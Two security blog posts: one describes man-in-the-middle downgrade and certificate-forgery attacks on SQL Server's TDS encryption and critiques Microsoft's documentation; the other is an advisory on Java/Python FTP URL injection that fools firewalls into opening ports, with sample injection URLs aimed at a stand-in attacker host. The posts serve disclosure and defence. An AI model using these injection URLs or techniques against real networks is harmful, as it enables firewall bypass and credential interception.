Tuesday, December 19, 2017


Advanced SQL Server Man-in-the-Middle Attacks

In an application security assessment I performed alongside the fine folks at Summit Security Group, we encountered an application that was relying heavily on the encryption features of the Tabular Data Stream (TDS) protocol. These protocol features are implemented in Microsoft SQL Server to protect communications over untrusted networks. Out of curiosity, we investigated how different configuration settings on both the server and client change the security properties of this protocol. We quickly realized that our client's communications were insecure. To demonstrate the risk, we developed a man-in-the-middle (MitM) tool which exploited two separate insecure configurations. In sharing with the community, we hope this article will raise awareness about how easy it is to make similar mistakes when implementing TDS encryption.

Background

The Tabular Data Stream (TDS) protocol is used by Microsoft SQL Server as the primary way in which clients interact with the database server. The protocol has been updated many times over the years to support additional features, including the use of TLS-based encryption implemented as an opportunistic mechanism. This opportunistic encryption is implemented in a way that is similar to STARTTLS. An initial unencrypted handshake occurs, and if both sides advertise support for encryption, then a TLS handshake occurs on the same TCP connection, therafter allowing further communications to continue over this encrypted tunnel. As with any opportunistic encryption, the protocol can be highly vulnerable to downgrade attacks and other man-in-the-middle attacks if clients and servers are not carefully configured. Exacerbating this issue is the fact that much of Microsoft's documentation on the topic is confusing, incorrect, or creates a false sense of security about certain configuration settings.

Attack 1: Certificate Forgery

Anyone using TLS must be mindful of how certificates are validated. The first thing an attacker is likely to try against any TLS implementation is to conduct a man-in-the-middle attack that presents self-signed or otherwise forged certificates to TLS clients (and servers, if client certificates are in use). To its credit, Microsoft's implementation of TDS is safe in the sense that it enables certificate validation by default, which prevents this attack. Developers would need to explicitly disable certificate validation to be vulnerable. With that said, this is fairly common in development environments given that developers often want to avoid the effort of setting up certificates on non-production machines. During security assessments, we want to ensure certificate validation is enabled in the actual production deployment. In this particular engagement, we couldn't find an off-the-shelf tool that made it easy to test for this issue in TDS, so we rolled our own.
Our TDS MitM script can be run in "cert" mode through the "--mitm_type" option. This causes the script to perform a classic certificate man-in-the-middle attack whereby a TLS connection is accepted from the client, but a second one is initiated to the server before the handshake is finished. The script leverages the Bletchley SSL/TLS library to automatically clone the server's advertised certificate, and then presents a fake version to the client.

Attack 2: Asymmetric Downgrade

When TDS clients connect to Microsoft SQL Server, an unencrypted handshake ensues where both parties advertise whether or not they are configured to use encryption. Each side can claim one of the following: encryption is not supported (ENCRYPT_NOT_SUP); encryption is supported, but prefer not to use it (ENCRYPT_OFF); encryption is supported and prefer to use it (ENCRYPT_ON); encryption is required (ENCRYPT_REQ). The first three are useful for backward compatibility, but from a security perspective, requiring encryption is the only secure option. If neither party explicitly requires encryption, then a trivial man-in-the-middle attack is possible whereby the attacker can update the values of both handshake messages to say that encryption is not supported. From there, both the client and server will just assume they can't use encryption and will move forward with an insecure conversation. This classic downgrade attack, as applied to TDS, was discussed in detail by Azhar Desai in 2015. Interestingly enough, the story doesn't end there. What happens if one party requires encryption, but the other doesn't? Is an attack still possible?
As it turns out, yes. In the specific case where the server requires encryption to be used, but the client does not, then an asymmetric downgrade attack is fairly easy to conduct. In the early handshake packets, we know the server will advertise ENCRYPT_REQ, attempting to signal to the client that encryption must be used. Meanwhile the client will advertise some other level of support for encryption (ENCRYPT_ON or ENCRYPT_OFF). During the exploit, our attacker modifies the server's handshake packet and sets it to ENCRYPT_NOT_SUP. This will trigger the client to disable encryption during further transactions. However, the server is still going to expect a TLS handshake to come next. At that point, the attacker impersonates the client and initiates a TLS handshake on their behalf. Since the server doesn't require any TLS client certificate (only server certificates are verified in TDS), the server is none the wiser and continues to communicate with the attacker posing as the client.
Next, the attacker simply relays all further communications between the two parties. As messages come from the server over the TLS channel, they are decrypted and forwarded over an unencrypted TDS connection to the client. Likewise, when the client sends messages unencrypted to the attacker's proxy, the attacker just relays those over the TLS link to the server. Included in these forwarded messages is the client's password authentication handshake, which typically exposes the database user's password hash, or perhaps even the plaintext password
The following diagrams summarize the steps of this attack. In the first diagram, we have an unaltered handshake where a client wants to use encryption (but doesn't require it) and the server does require it:



That communication would be vulnerable to attack, however, since the client doesn't require encryption. The man-in-the-middle attack in that situation would look like the following:



Our TDS MitM script executes this attack when you use "downgrade" through the "--mitm_type" option.
Ok, that's spiffy, but what if a TDS client requires encryption and the server doesn't? Is an attack still possible? I'm not aware of one. It is different in this case, because TLS is authenticated in only one direction. If the client is both requiring encryption to be used and is validating the server's certificate on that connection (assuming certificate validation hasn't been explicitly turned off), then the connection is sound. An attacker could clearly fool the server into using no encryption on one side of the man-in-the-middle proxy, but the client-side conversation won't get very far if the attacker can't fool the client into trusting an invalid server certificate.
As it turns out, only two things actually matter for providing communications security in TDS traffic with TLS: the client must be configured to require encryption and it must be configured to validate the server certificate. All of the server-side settings are just backward-compatibility baggage that add to confusion.

Misleading Documentation

Throughout this research, we reviewed a great deal of documentation provided by Microsoft, but found many of the documents create a false sense of security, mislead developers, or in the worst cases, contained incorrect statements about security-critical details. Here we list some of these errata to help set the record straight and encourage Microsoft to address these items to reduce confusion within the MSSQL user population.
  • In the now out-of-date article How to enable SSL encryption for an instance of SQL Server by using Microsoft Management Console, the following advice appears in a highlighted note: "Do not enable the Force Protocol Encryption option on both the client and the server. To enable Force Protocol Encryption on the server, use the Server Network Utility or SQL Server Configuration Manager, depending on the version of SQL Server. To enable Force Protocol Encryption on the client, use the Client Network Utility or SQL Server Configuration Manager." This is odd, since requiring protocol encryption on the client and server at the same time should work just fine. In addition, we now know that the setting on the server side is irrelevant to security.
  • In Enable Encrypted Connections to the Database Engine, step-by-step procedures are provided showing how to configure a server to require encryption under the heading “To configure the server to accept encrypted connections”. The "to accept" wording of this heading is confusing, since SQL Server already accepts encrypted connections by default. It just doesn't require them by default. Also, there is absolutely no indication to the reader that this setting provides no additional communications security, whereas the client-side setting described in the same article actually does.
  • In one of Microsoft's most recent articles, Using Encryption Without Validation, there are almost too many misguided or incorrect statements to enumerate in a blog post like this.
    • For one, the article's title itself should be a huge red flag to anyone in security. Using TLS without certificate validation clearly defeats the whole purpose of using encryption in the first place. We strongly urge Microsoft to include an explicit warning in this article to highlight this fact.
    • From the very first sentence of the article, we have a problem: "SQL Server always encrypts network packets associated with logging in." – This fails to mention that the encrypted handshake is based on NTLM authentication, which any seasoned security expert would know has been riddled with cryptographic flaws for decades. Such flaws can allow for relay attacks and offline password cracking, at a minimum. Even worse, there are fairly recent claims that a downgrade attack is possible on the password authentication handshake itself, allowing for full plaintext password retrieval. There is even a Metasploit module designed specifically to conduct these attacks! Finally, even if this password authentication handshake were securely designed, an attacker could just hijack the TCP connection after authentication is completed to gain the same access as the victimized client.
    • In the next paragraph, we find: "This may also be configured by SQL Server Configuration Manager using the Force Protocol Encryption option." – As mentioned several times before, we know now that the server-side setting provides no security.
    • Shortly thereafter, we have: "To enable encryption to be used when a certificate has not been provisioned on the server, SQL Server Configuration Manager can be used to set both the Force Protocol Encryption and the Trust Server Certificate options. In this case, encryption will use a self-signed server certificate without validation if no verifiable certificate has been provisioned on the server." – This last sentence is very misleading. If the Trust Server Certificate option is set on the client, then the communications are vulnerable to certificate man-in-the-middle attacks. That's true even if you later deploy a verifiable certificate on the server. This sentence might lead a reader to believe the "fix" is just to deploy a verifiable certificate without also correcting the client-side settings.
    • The article provides a table with a breakdown of server and client-side settings, describing what would happen in each case. This proves useful for understanding behavior, but it repeatedly reinforces the idea that using some encryption with no certificate validation is somehow OK, or better than using no encryption at all. It isn't. With the right tool, active man-in-the-middle attacks are just as easy to conduct as passive sniffing in the vast majority of networking technologies we use today.
With that said, there are some articles from Microsoft that do a better job of explaining these settings. The Encrypting Connections to SQL Server article includes a clear warning that "SSL connections that are encrypted by using a self-signed certificate do not provide strong security. They are susceptible to man-in-the-middle attacks. You should not rely on SSL using self-signed certificates in a production environment or on servers that are connected to the Internet." This is a great warning and should exist in any article that discusses Trust Server Certificate settings (though I'd like to see a warning about requiring encryption as well).
Finally, the folks at Azure seem to have done their homework. All of the client connection strings they provide to customers as samples seem to include both an explicit TrustServerCertificate=False flag (which just explicitly enables certificate validation), as well as the appropriate flag to require encryption.

Vendor Response

We contacted the Microsoft Security Response Center (MSRC) on November 22, 2017 and sent them a draft version of this blog post along with the MitM script. We asked Microsoft to comment on our findings, offer any corrections, and to indicate whether their documentation would be updated. While the MSRC was responsive to our emails, their SQL Server product team has yet to respond.

Those Who Came Before

The concept of an asymmetric downgrade on SSL/TLS is hardly new. Moxie Marlinspike's sslstrip tool implemented this approach over five years ago. Downgrade attacks on STARTTLS mechanisms are not new either. Sadly, the application of these techniques to proprietary (if documented) protocols tends to be slow. At the time of our testing in early 2016, we weren't aware of any tools that allow for an asymmetric downgrade of TDS, let alone a simple certificate spoofing attack. As we polished up this document, we came across another tool, TDSBridge, which acts as a TDS proxy and includes a brief comment in the documentation: "it even works with server side forced encryption". Of course that should be an ominous sign to security folk and helps confirm our observations. While TDSBridge isn't a security-focused tool, we feel obligated to mention it since the author clearly discovered this fact before we did, even if it wasn't called out as a security risk.

Conclusion

Microsoft SQL Server database traffic is insecure by default, because encryption is not required by client libraries. This is a forgivable default setting, considering the fact that correctly configured server certificates are needed to make communications secure anyway. However, the documentation guiding administrators on how to add communications security are deeply flawed in multiple ways and require revision. In light of the insecure default settings and the misleading documentation, it is our hunch that the vast majority of Microsoft SQL Server network traffic is vulnerable to man-in-the-middle attacks, even if SQL Server administrators have taken steps to secure it.

Monday, February 20, 2017


Advisory: Java/Python FTP Injections Allow for Firewall Bypass

UPDATE: Fixes for these issues have been out for a while.  Therefore I've published a proof-of-concept exploit.  Enjoy.

Overview

Recently, an vulnerability in Java's FTP URL handling code has been published which allows for protocol stream injection. It has been shown that this flaw could be used to leverage existing XXE or SSRF vulnerabilities to send unauthorized email from Java applications via the SMTP protocol. While technically interesting, the full impact of this protocol stream injection has not been fully accounted for in existing public analysis.

Protocol injection flaws like this have been an area of research of mine for the past few couple of years and as it turns out, this FTP protocol injection allows one to fool a victim's firewall into allowing TCP connections from the Internet to the vulnerable host's system on any "high" port (1024-65535). A nearly identical vulnerability exists in Python's urllib2 and urllib libraries. In the case of Java, this attack can be carried out against desktop users even if those desktop users do not have the Java browser plugin enabled.

As of 2017-02-20, the vulnerabilities discussed here have not been patched by the associated vendors, despite advance warning and ample time to do so.


The Bugs

Java is vulnerable to FTP protocol stream injection via malicious URLs in multiple contexts. If an attacker can convince any Java application to attempt to retrieve a malicious URL of this type, then the attacker can inject FTP commands into the client's protocol stream. For instance, the following URL:
ftp://foo:bar%0d%0aINJECTED@example.net/file.png

Allows for new lines (CRLF) to be injected in the TCP stream, making the receiving server think that "INJECTED" is a separate command sent by the client. The above URL, when fetched by Java, causes the following partial command sequence to be sent:
USER foo
PASS bar
INJECTED
TYPE I
EPSV ALL
PASV
...

Java is actually vulnerable to injection via multiple fields in the URL. The username field and any directory specified in the URL can also allow for injection.

Python's built-in URL fetching library (urllib2 in Python 2 and urllib in Python 3) is vulnerable to a nearly identical protocol stream injection, but this injection appears to be limited to attacks via directory names specified in the URL.

FTP Security Quirks

To fully understand the attack I am about to describe, it is critical to have a solid grasp of how the FTP protocol works. FTP's primary communications start on a "control channel", which is the TCP connection initiated by clients (typically to port 21) where human-readable commands and responses can be observed. Whenever file contents, directory listings, or other bulk data is transferred a secondary TCP connection, called the "data channel", is created for this purpose. In the classic protocol specification, the FTP client tells the server how to connect back to it at an IP address and random high port. The FTP server then connects back to the client and sends the requested data over this temporary channel. Once network address translation became popular, this caused problems for FTP, so a "passive mode" was introduced. In this passive mode, data channels are instead initiated by the client. (For the sake of clarity, the original FTP mode of data channel initiation will be hereafter referred to as "classic mode".) Over time, firewall implementations began to support classic mode FTP by performing control channel protocol inspection, and then dynamically routing server-initiated TCP connections back to the appropriate host.

The behavior of classic mode FTP and firewalls has been a source of security risk for a very long time. An attack was identified where a victim could be lured into running a non-privileged Java applet on a web page. This applet would create an FTP control channel back to the attacker's server and fool stateful firewalls into opening arbitrary TCP ports and relaying them back to the victim's desktop system. The first public mention of this apparently comes from Phrack issue #60, published in 2002. A few years later, a clearer write-up of the attack was published by Florian Weimer. Nearly 15 years since then, many commercial firewalls still support classic mode FTP by default.

Tricking Firewalls

Since our FTP control channel injection vulnerabilities allow us to take over the commands sent by FTP clients, it should be possible to pull off the firewall attacks described long ago, right? For instance, we could simply inject a malicious PORT command into the stream at the right moment. When the firewall sees this, it will translate the internal IP address and port for that command into an external address and port, and then enable a temporary NAT rule to allow a single TCP connection to come back in, relaying it to the FTP client.

Suppose for a moment that the victim host has an internal IP address of 10.1.1.1 and our attacker hosts a server at evil.example.com. Then we should expect the following FTP URL to fool the firewall into opening up port 1337:
ftp://u:p@evil.example.com/foodir%0APORT%2010,1,1,1,5,57/z.txt

(Note that in the classic FTP PORT command, the port number is represented as two separate ASCII-encoded octets. In short: 1337 == 5*256 + 57) However, as it turns out there are actually two significant challenges in making this work in practice...

First Challenge: Determining Internal IP

Of course to pull this off, the attacker needs to know the victim's internal IP address (or else the stateful firewall will ignore the PORT command). Let's assume the attacker gets multiple bites at the cherry. That is, they can send a URL, see how the client behaves, then try another until the attack is successful. (Only 2-3 attempts should be required, as you'll see by the end of this.)

As a first probe, the attacker can simply supply the victim with an FTP URL that points to an unusual port on the attacker's server, such as:
ftp://u:p@evil.example.com:31337/foodir/z.txt

Note that there are no protocol stream injection attempts happening here. FTP clients will attempt to initiate a passive session to retrieve the z.txt file, but if the attacker's FTP server rejects the PASV command, then the client will fall back to classic mode and send a PORT command. Since the port used for the control channel is non-standard, it is unlikely that a stateful firewall at the victim's site will attempt to interpret and translate the PORT commands on this session. That will cause the internal IP address of the victim to be leaked to the attacker.

Second Challenge: Packet Alignment

Everything up until now seems very easy. However, if you stop reading now, you won't know the key ingredient to this recipe.

FTP is designed as a synchronous, line-based protocol where each side of the communication writes one line and waits for a response from the other side before continuing. That means neither side of the communication should write more than one command before waiting for the other to respond.

The Linux conntrack developers take advantage of this fact to try and be extra sure that they really are seeing a PORT command on the wire. The implementation requires any PORT command to appear at the very beginning of a packet. Therefore, the following URL (as shown earlier) doesn't actually cause Linux firewalls to open up the desired port:
ftp://u:p@evil.com/foodir%0APORT%2010,1,1,1,5,57/z.txt

If you carefully observe the packet trace of this URL being fetched, you'd see commands sent by the client coming in the following individual packets:
--Packet 1--
USER u
--Packet 2--
PASS p
--Packet 3--
TYPE I
--Packet 4--
CWD foodir
PORT 10,1,1,1,5,57
--Packet 5--
...

Since the PORT command comes in the middle of Packet 4, Linux ignores it.

The secret ingredient is that we need to find a way to force the client to send the PORT command at the very beginning of a packet, even though two commands were sent in a single write(2) call by Java or Python. Of course it is possible for a user-space application to perform a write(2) call to a socket with data that is much larger than the packet size supported by the TCP/IP stream. What if our CWD command had a directory name that was just long enough such that it filled up exactly one TCP packet? Then "PORT..." would be forced to start at the beginning of very next packet!

This can be tricky to pull off, since MTU sizes can be relatively large (and a Java/Python application might complain about receiving a very long URL during the attack). Also, network conditions between any pair of hosts will vary, making it hard to predict the effective MTU sizes up front. To simplify things, we can simply force the FTP control channel's TCP connection to use the minimum MTU size, since we control the malicious FTP server. On the attacker's side, firewall rules can be used to clamp the MSS to 536 bytes, which makes our malicious URLs much easier to calculate. From there, some basic trial and error can be used to determine what length the directory name must be to exactly align with a packet boundary.

Why are we so interested in fooling the Linux conntrack module? As it turns out, many commercial firewall implementations use Linux as their base firewall. More on that below. Other firewalls may use similar checks to mitigate FTP shenanigans, but we have not yet researched this.

Proof of Concept

An exploit for the attack described here has been developed. The script starts up by providing the attacker a URL to test against the victim, and then initiates a malicious FTP server. Upon receiving the first request, the FTP server interactively calculates a new URL containing a directory name length which causes the PORT command to land at the beginning of a packet. The entire attack (including the request used to determine the victim's internal IP) is typically accomplished with just three SSRF attacks to open up one TCP port. Each additional SSRF attack could open up one additional TCP port.  Since most firewalls do not allow FTP data channels to be set up by clients on ports below 1024, the ports an attacker can target are limited to the 1024-65535 range.

The exploit script will not be released until both Oracle and Python developers correct their FTP client code.

Attack Scenarios

There are a variety of situations where we could convince a Java application to fetch our URLs, which we discuss briefly here.

JNLP Files

This is perhaps the most startling attack scenario. If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java Web Start to parse a JNLP file. These files could contain malicious FTP URLs which trigger this bug. A clever attacker could weaponize the exploit to identify the victim's internal IP address, determine the appropriate packet alignment, and then exploit the bug all in one shot. A clever implementation could even open many ports at once using a single JNLP file.  Also note, that since Java parses JNLP files before presenting the user with any security warnings, the attack can be fully successful without any indication to the user (unless the browser itself warns the user about Java Web Start being launched).

Man-in-the-Middle

If a Java or Python (urllib) application is fetching any HTTP URL, then a privileged network attacker could inject an HTTP redirect to bootstrap this attack.

Server-Side Request Forgery (SSRF)

If an application accepts any HTTP, HTTPS, or FTP URL, then exploitation is straight-forward. Even if the application accepts only HTTPS or HTTP URLs due to (naive) input validation, then an attacker could simply redirect the client to a malicious FTP URL.

XML eXternal Entities (XXE)

Most XXE bugs yield SSRF-like access, so this is pretty straight-forward. Note that some XXE vulnerabilities aren't very practical to exploit due to XML parser settings, preventing classic entity attacks. However, in some of these cases SSRF is still possible through DOCTYPE headers. If external entities are supported by an XML parser, then several URLs could be included in a single document, allowing for IP address determination, packet alignment determination, and finally an exploit (using dynamic redirection) all in one XXE attack.

Firewall Testing

Most FTP translation testing was performed against a custom Linux firewall running a recent kernel. Many commercial firewalls use Linux as a base operating system for their appliances. In many cases, these vendors enable classic mode FTP by default. Limited testing was performed against a Palo Alto firewall and a Cisco ASA firewall, both of which appeared to be vulnerable under default settings. While testing of commercial firewalls has been very limited at this point, it seems likely that a significant percentage of production firewalls in the world are susceptible to attack through FTP protocol stream injections.

Responsible Disclosure

The Python security team was notified in January 2016. Information provided included an outline of the possibility of FTP/firewall attacks. Despite repeated follow-ups, there has been no apparent action on their part.

Oracle was notified in early November 2016 with full details of the attack. No patch for Java is currently available.

Prior Research

The recent disclosure of SMTP attacks using FTP protocol injection was the impetus for releasing these details now. However, previous researchers had already published information showing the protocol stream injection existed. Between these two publications and knowledge of the Java/Firewall Attack, it is not a leap to realize FTP shenanigans might be possible as well.

Recommendations for Vendors


Commercial Firewall Vendors

Disable classic mode FTP by default. Add prominent warnings to configuration interfaces that enabling it carries unnecessary risk. (Even after these protocol injections are fixed, other injections have been known to appear which could be used to exploit this condition.)

Linux netfilter Team

Consider adding prominent warnings to the documentation for conntrack that discuss the risk of enabling FTP translation (and perhaps other translation). Perhaps this will help discourage future commercial device vendors from making the same mistakes of the past.

Other Software/Service Vendors

Audit your applications to be sure they are not vulnerable to SSRF or XXE attacks. XML parsing in Java is currently vulnerable by default, making XXE vulnerabilities very common on that platform.

Recommendations for the General Public

  • Consider uninstalling Java from all desktop systems. If this is not possible due to legacy application requirements, disable the Java browser plugin from all browsers and disassociate the .jnlp file extension from the Java Web Start binary.
  • Consider requesting an update to fix these issues from Oracle and the Python Software Foundation. Be sure to apply security updates to all versions of Java and Python, including those running on application servers and appliances.
  • Disable classic mode FTP in all firewalls, allowing only passive mode.